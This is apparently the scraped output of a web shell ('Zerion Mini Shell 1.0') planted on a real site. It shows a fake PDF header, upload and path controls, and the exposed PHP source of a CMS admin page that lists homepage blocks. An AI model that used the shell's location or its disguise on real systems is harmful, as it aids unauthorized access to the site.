%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/alliance/domains/congress-eldw.eu/public_html/
Upload File :
Create Path :
Current File : /home/alliance/domains/congress-eldw.eu/public_html/a-liste_top_accueil.php

<?php
include_once("inc/config.php");
include_once("inc/functions.php");
include_once("inc/init.php");
include_once("inc/session.php");
include_once("inc/classes/TopAccueil.php");

verif_co_admin();

$db = new BaseOps;

//affichage du html
include("theme/html.php");
//affichage des metas
include("theme/meta.php");
echo "\n<title>".$trad->t('Homepage blocks images','admin',$lang->getlang())." - ".$info_titresite."</title>\n";
//affichage du header
if(estadmin()) include("theme/header_admin.php");
else include("theme/header_redacteur.php");
?>

<div class="text_admin">
<h2><?=$trad->t('Homepage blocks images','admin',$lang->getlang());?></h2>
<p><?=$trad->t('Image blocks to the homepage','admin',$lang->getlang())?></p>
<?php
if(isset($_GET['msg']) && $_GET['msg']=="yes") {
	echo "<p class=\"infobloc\">Opération effectuée</p>";
}
?>
<p><a href="admin/ajouter_top_accueil.php" class="bouton"><?=$trad->t('Add a block','admin',$lang->getlang())?></a></p>

<ul class="adminlist">
<?php
$topAccueil=new TopAccueil;
$tops=$topAccueil->getTops();
foreach($tops as $top):?>
	<li><div style="background: #70a3bc; ?>; color: #fff !important;"><a href="admin/modifier_top_accueil.php?id=<?php echo $top['id_top_accueil']; ?>" style="color: #fff !important;"><?php echo $top['titre']; ?></a><?php if($top['ordre'] != 1) { ?> - <a href="admin/monter.php?table=top_accueil&id=<?php echo $top['id_top_accueil']; ?>&avant=<?php echo $avant; ?>" style="color: #fff !important;">Monter</a><?php } ?></div></li>
<?php
	$avant = $top['id_top_accueil'];
	
endforeach;
?>
</ul>

</div>

<?

//affichage du footer
include("theme/footer.php");

?>

Zerion Mini Shell 1.0